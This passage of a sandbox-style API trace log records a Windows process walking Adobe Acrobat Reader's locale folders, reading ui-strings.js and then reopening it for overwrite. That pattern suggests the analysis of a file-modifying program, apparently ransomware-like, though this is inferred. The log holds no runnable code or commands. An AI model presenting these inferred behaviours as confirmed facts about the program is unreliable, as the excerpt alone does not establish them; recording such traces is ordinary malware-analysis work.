hFindFile=0x134ca30) returned 1 [0153.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0153.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0153.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0153.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls", lpFilePart=0x0) returned 0x63 [0153.329] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0153.329] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0153.330] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0153.331] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0153.332] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0153.333] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0153.334] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0153.334] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0153.334] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0153.334] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0153.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0153.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0153.335] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x71 [0153.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec4b0) returned 1 [0153.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x325b518 | out: lpFileInformation=0x325b518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6)) returned 1 [0153.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec470) returned 1 [0153.336] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x71 [0153.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0153.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0153.336] GetFileType (hFile=0x644) returned 0x1 [0153.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0153.336] GetFileType (hFile=0x644) returned 0x1 [0153.336] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1ffec508 | out: lpFileSizeHigh=0x1ffec508*=0x0) returned 0x4f6 [0153.337] ReadFile (in: hFile=0x644, lpBuffer=0x325bd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffec438, lpOverlapped=0x0 | out: lpBuffer=0x325bd68*, lpNumberOfBytesRead=0x1ffec438*=0x4f6, lpOverlapped=0x0) returned 1 [0153.338] CloseHandle (hObject=0x644) returned 1 [0154.797] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x71 [0154.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0154.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0154.798] GetFileType (hFile=0x650) returned 0x1 [0154.798] SetThreadErrorMode 